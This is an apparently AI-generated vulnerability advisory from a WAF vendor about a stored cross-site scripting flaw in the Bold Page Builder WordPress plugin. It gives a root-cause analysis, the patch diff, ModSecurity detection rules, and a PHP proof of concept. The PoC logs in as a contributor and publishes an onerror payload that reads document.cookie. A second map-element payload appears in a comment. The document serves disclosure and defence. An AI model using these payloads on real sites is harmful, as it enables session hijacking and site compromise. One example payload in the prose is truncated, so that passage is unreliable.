Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125680: Bold Page Builder <= 5.9.11 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.9.11
Patched Version 5.9.12
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125680: The Bold Page Builder plugin for WordPress (versions <= 5.9.11) contains an authenticated (Contributor+) stored cross-site scripting vulnerability (CWE-79, CVSS 6.4). The flaw resides in the shortcode parsing and rendering logic of the plugin, specifically in the BT_BB_Callback class within bold-builder.php and in several map content elements. Insufficient sanitization allows a contributor to inject arbitrary JavaScript that executes when a user views the affected page.

Root Cause: The vulnerability stems from the plugin's custom shortcode processing in bold-builder.php. The function bt_bb_do_shortcode_tag() uses a regular expression to parse shortcodes. When a shortcode does not accept content (_content), the code recursively processes text between shortcodes using preg_replace_callback(), then trims the result. However, the regex does not account for HTML context: a shortcode match can start inside an HTML attribute value and end in text, causing the two sides to be concatenated into markup that was never sanitized by kses. For example, a payload like x ]” onerror=alert(1)> loses the bracketed portion and becomes . This bypasses WordPress kses filtering. Additionally, several map elements (bt_bb_google_maps, bt_bb_google_maps_location, bt_bb_leaflet_map, bt_bb_leaflet_map_location) fail to sanitize user-supplied attributes like api_key, latitude, longitude, and custom_style (base64-encoded layer data) before outputting them into data-* attributes or JavaScript, enabling further XSS.

Exploitation: An authenticated attacker with Contributor-level access can craft a post containing a malicious shortcode. For the primary vector, the attacker inserts a shortcode (e.g., [bt_bb_headline]) within an HTML attribute in a way that triggers the regex mismatch, such as x ]” onerror=alert(document.cookie)>. When the post is saved, kses may strip some tags, but the plugin’s shortcode parser reconstructs the broken markup into a valid img tag with an event handler. For map elements, the attacker can inject JavaScript via the api_key parameter (e.g., api_key=”onload=alert(1)”) or via latitude/longitude fields with non-numeric values, or by supplying a base64-encoded custom_style containing malicious attribution HTML. The stored payload executes in the browser of any user (including administrators) who views the page.

Patch Analysis: The patch (version 5.9.12) introduces multiple defenses. In bold-builder.php, the BT_BB_Callback constructor now accepts an $author_trusted flag, determined by bt_bb_author_can_unfiltered_html(). For untrusted authors, text content (when _content is accepted) is re-filtered with wp_kses_post(). More critically, leftover text in non-content shortcodes is always filtered with wp_kses_post() regardless of author trust, closing the regex-induced markup concatenation hole. For map elements, new sanitization functions are added in misc.php: bt_bb_sanitize_map_coordinate() ensures latitude/longitude are numeric (falling back to 0 or empty), and bt_bb_sanitize_leaflet_custom_style() decodes the base64 layer list, validates tile URLs (must be http(s) or protocol-relative), and sanitizes attribution text with wp_kses() using a restricted allowlist. The Google Maps api_key is now stripped of any characters outside [A-Za-z0-9_-]. These changes prevent injection of malicious markup and script parameters.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of cookies or authentication tokens, defacement of the site, redirection to malicious domains, or exploitation of browser vulnerabilities. Because the payload is stored in the database, it affects all users who view the page, potentially including administrators, leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bold-page-builder/bold-builder.php
+++ b/bold-page-builder/bold-builder.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: Bold Page Builder
  * Description: WordPress page builder.
- * Version: 5.9.11
+ * Version: 5.9.12
  * Author: BoldThemes
  * Author URI: https://www.bold-themes.com
  * License: GPL v2 or later
@@ -14,7 +14,7 @@
 defined( 'ABSPATH' ) || exit;

 // VERSION --------------------------------------------------------- \
-define( 'BT_BB_VERSION', '5.9.11' );
+define( 'BT_BB_VERSION', '5.9.12' );
 // VERSION --------------------------------------------------------- \

 define( 'BT_BB_FEATURE_ADD_ELEMENTS', true );
@@ -1728,9 +1728,13 @@
 		$pattern = get_shortcode_regex();

 		global $bt_bb_array;
-
-		$callback = new BT_BB_Callback( $bt_bb_array );
-
+
+		// Text nodes built here are handed to the editors as HTML. Content saved
+		// by an author without unfiltered_html is re-filtered (see the callback).
+		$author_trusted = function_exists( 'bt_bb_author_can_unfiltered_html' ) && bt_bb_author_can_unfiltered_html();
+
+		$callback = new BT_BB_Callback( $bt_bb_array, $author_trusted );
+
 		$preg_cb = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_bb_do_shortcode_tag' ), $content );
 	}
 }
@@ -1739,8 +1743,11 @@

 	private $bt_bb_array;

-    function __construct( &$bt_bb_array ) {
+	private $author_trusted;
+
+    function __construct( &$bt_bb_array, $author_trusted = FALSE ) {
         $this->bt_bb_array = &$bt_bb_array;
+        $this->author_trusted = (bool) $author_trusted;
     }

 	function bt_bb_do_shortcode_tag( $m ) {
@@ -1768,10 +1775,27 @@

 			if ( isset( $bt_bb_map[ $m[2] ]['accept']['_content'] ) && $bt_bb_map[ $m[2] ]['accept']['_content'] ) {
 				$r = $m[5];
+				// A contiguous slice of what was saved: every tag in it is one kses
+				// already saw. Re-filter for untrusted authors as defense in depth.
+				if ( ! $this->author_trusted ) {
+					$r = wp_kses_post( $r );
+				}
 			} else {
-				$callback = new BT_BB_Callback( $this->bt_bb_array[ count( $this->bt_bb_array ) - 1 ]['children'] );
+				$callback = new BT_BB_Callback( $this->bt_bb_array[ count( $this->bt_bb_array ) - 1 ]['children'], $this->author_trusted );
 				$r = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_bb_do_shortcode_tag' ), $m[5] );
 				$r = trim( $r );
+				// What is left here is the text *between* the shortcode matches, with
+				// the matches cut out. The shortcode regex does not understand HTML, so
+				// a match can start inside an attribute value and end in text, and
+				// joining the two sides produces markup kses never saw: e.g.
+				// <img title="[bt_bb_headline"> x ]" onerror=...> loses everything
+				// from the bracket to the bracket and comes out as a live onerror.
+				// The builder never writes text into a container that does not accept
+				// it, so this is only ever leftover text: always filter it, whoever
+				// the author is.
+				if ( $r != '' ) {
+					$r = trim( wp_kses_post( $r ) );
+				}
 			}

 			if ( $r != '' ) {
--- a/bold-page-builder/content_elements/bt_bb_google_maps/bt_bb_google_maps.php
+++ b/bold-page-builder/content_elements/bt_bb_google_maps/bt_bb_google_maps.php
@@ -14,7 +14,11 @@
 			'map_type'   	=> 'interactive',
 			'center_map'   	=> ''
 		) ), $atts, $this->shortcode ) );
-
+
+		// Google API keys are [A-Za-z0-9_-]. Anything else could only be used to
+		// add parameters to the Maps script URL or the static map image URL.
+		$api_key = preg_replace( '/[^A-Za-z0-9_-]/', '', (string) $api_key );
+
 		$class_master = 'bt_bb_map';

 		$class = array( $this->shortcode, $class_master );
--- a/bold-page-builder/content_elements/bt_bb_google_maps_location/bt_bb_google_maps_location.php
+++ b/bold-page-builder/content_elements/bt_bb_google_maps_location/bt_bb_google_maps_location.php
@@ -10,8 +10,12 @@
 			'longitude' => '',
 			'icon'      => ''
 		) ), $atts, $this->shortcode ) );
-
-        $class_master = 'bt_bb_map_location';
+
+		// Coordinates are read back by the map script, so only numbers go out.
+		$latitude  = bt_bb_sanitize_map_coordinate( $latitude, '' );
+		$longitude = bt_bb_sanitize_map_coordinate( $longitude, '' );
+
+        $class_master = 'bt_bb_map_location';

 		$class = array( $this->shortcode, $class_master );

--- a/bold-page-builder/content_elements/bt_bb_leaflet_map/bt_bb_leaflet_map.php
+++ b/bold-page-builder/content_elements/bt_bb_leaflet_map/bt_bb_leaflet_map.php
@@ -16,6 +16,10 @@
 			'zoom_control'          => ''
 		) ), $atts, $this->shortcode ) );

+		// Tile URLs and attribution text are base64-encoded into the page, where
+		// kses never saw them; the attribution ends up in Leaflet's innerHTML.
+		$custom_style = bt_bb_sanitize_leaflet_custom_style( $custom_style );
+
 		$zoom		= $zoom == '' ? '9' : $zoom;
 		$max_zoom	= $max_zoom == '' ? '15' : $max_zoom;

--- a/bold-page-builder/content_elements/bt_bb_leaflet_map_location/bt_bb_leaflet_map_location.php
+++ b/bold-page-builder/content_elements/bt_bb_leaflet_map_location/bt_bb_leaflet_map_location.php
@@ -15,13 +15,10 @@

 		$class = array( $this->shortcode, $class_master );

-		if ( $latitude == '' ) {
-			$latitude = 0;
-		}
-
-		if ( $longitude == '' ) {
-			$longitude = 0;
-		}
+		// Coordinates are read back by the map script, so only numbers go out
+		// (empty or non-numeric falls back to 0, as an empty value always did).
+		$latitude  = bt_bb_sanitize_map_coordinate( $latitude, 0 );
+		$longitude = bt_bb_sanitize_map_coordinate( $longitude, 0 );

         if ( $el_class != '' ) {
 			$class[] = $el_class;
--- a/bold-page-builder/content_elements_misc/misc.php
+++ b/bold-page-builder/content_elements_misc/misc.php
@@ -387,6 +387,85 @@
 	}
 }

+if ( ! function_exists( 'bt_bb_sanitize_map_coordinate' ) ) {
+	/**
+	 * Returns a map latitude/longitude as a plain number string, or $fallback.
+	 *
+	 * Map scripts read coordinates back out of data-* attributes, where
+	 * jQuery.data() hands them back entity-decoded; esc_attr() on output does
+	 * not make a non-numeric value safe once a script builds markup or URLs
+	 * from it. The trimmed original string is returned (not a float cast) so
+	 * the decimal separator never depends on the PHP locale.
+	 *
+	 * @param mixed $value    Raw attribute value.
+	 * @param mixed $fallback Returned for empty or non-numeric input.
+	 * @return mixed
+	 */
+	function bt_bb_sanitize_map_coordinate( $value, $fallback = '' ) {
+		if ( ! is_scalar( $value ) ) {
+			return $fallback;
+		}
+		$value = trim( (string) $value );
+		if ( $value === '' || ! is_numeric( $value ) || ! is_finite( (float) $value ) ) {
+			return $fallback;
+		}
+		return $value;
+	}
+}
+
+if ( ! function_exists( 'bt_bb_sanitize_leaflet_custom_style' ) ) {
+	/**
+	 * Sanitizes the Leaflet map "Additional map layers" value.
+	 *
+	 * The field is stored base64-encoded, so post-content kses never sees the
+	 * decoded text. Each line is "tile URL,attribution". Lines whose URL is not
+	 * an absolute http(s) or protocol-relative URL are dropped, and every
+	 * attribution field is passed through wp_kses() with a small inline
+	 * allowlist, because Leaflet writes attributions with innerHTML.
+	 *
+	 * @param string $custom_style Base64-encoded layer list.
+	 * @return string Base64-encoded sanitized layer list, or '' if nothing is left.
+	 */
+	function bt_bb_sanitize_leaflet_custom_style( $custom_style ) {
+		$custom_style = trim( (string) $custom_style );
+		if ( $custom_style === '' ) {
+			return '';
+		}
+
+		$decoded = base64_decode( $custom_style, true );
+		if ( $decoded === false || $decoded === '' ) {
+			return '';
+		}
+
+		$allowed_html = array(
+			'a'      => array( 'href' => true, 'title' => true, 'target' => true, 'rel' => true ),
+			'b'      => array(),
+			'strong' => array(),
+			'i'      => array(),
+			'em'     => array(),
+			'small'  => array(),
+			'span'   => array(),
+			'br'     => array(),
+		);
+
+		$lines = array();
+		foreach ( explode( "n", $decoded ) as $line ) {
+			$fields = explode( ',', $line );
+			$fields[0] = trim( $fields[0] );
+			if ( ! preg_match( '#^(https?:)?//#i', $fields[0] ) ) {
+				continue;
+			}
+			$count = count( $fields );
+			for ( $i = 1; $i < $count; $i++ ) {
+				$fields[ $i ] = wp_kses( $fields[ $i ], $allowed_html );
+			}
+			$lines[] = implode( ',', $fields );
+		}
+
+		return empty( $lines ) ? '' : base64_encode( implode( "n", $lines ) );
+	}
+}
+
 if ( ! function_exists( 'bt_bb_get_url' ) ) {
 	function bt_bb_get_url( $link, $post_type = 'page' ) {
 		if ( substr( $link, 0, 4 ) == 'www.' ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125680
# Blocks stored XSS via Bold Page Builder shortcode regex bypass and map element injection
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:20261256,phase:2,deny,status:403,chain,msg:'CVE-2026-125680 Bold Page Builder Stored XSS via post content',severity:'CRITICAL',tag:'CVE-2026-125680'"
  SecRule ARGS_POST:action "@streq editpost" "chain"
    SecRule REQUEST_HEADERS:Content-Type "@contains application/x-www-form-urlencoded" "chain"
      SecRule ARGS_POST:content "@rx ([bt_bb_[a-z_]+[^]]*][^<]*<[^>]*onerror|[bt_bb_[a-z_]+[^]]*[x22x27]s*on[a-z]+s*=)" "t:urlDecode,t:lowercase"

# Also block direct injection via map element shortcodes in post content
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:20261257,phase:2,deny,status:403,chain,msg:'CVE-2026-125680 Bold Page Builder Map XSS via post content',severity:'CRITICAL',tag:'CVE-2026-125680'"
  SecRule ARGS_POST:action "@streq editpost" "chain"
    SecRule ARGS_POST:content "@rx [bt_bb_(google_maps|leaflet_map)[^]]*(api_key|latitude|longitude|custom_style)=x22[^x22]*(on[a-z]+s*=|javascript:|<script|base64[^x22]*[A-Za-z0-9+/=]{20,})" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125680 - Bold Page Builder <= 5.9.11 - Authenticated (Contributor+) Stored Cross-Site Scripting

$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor';         // Contributor+ credentials
$password = 'password';

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Create a new post with the malicious shortcode payload
// The payload exploits the regex mismatch: shortcode inside an attribute value
$payload = '<img title="[bt_bb_headline"> x ]" onerror=alert(document.cookie)>';

$post_data = [
    'action' => 'editpost',
    'post_ID' => '0', // new post
    'post_type' => 'post',
    'post_title' => 'XSS PoC',
    'content' => $payload,
    'publish' => 'Publish'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract the new post ID from the response (if needed)
if (preg_match('/post=(d+)/', $response, $matches)) {
    $post_id = $matches[1];
    echo "Post created with ID: $post_idn";
    echo "View the post at: $target_url/?p=$post_idn";
    echo "The XSS payload will execute when the page is viewed.n";
} else {
    echo "Post creation may have succeeded, but could not extract ID.n";
}

// Alternative: Use map element injection (e.g., bt_bb_google_maps with malicious api_key)
// $payload = '[bt_bb_google_maps api_key="onload=alert(1)"]';
// But the primary vector is the shortcode regex bypass.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.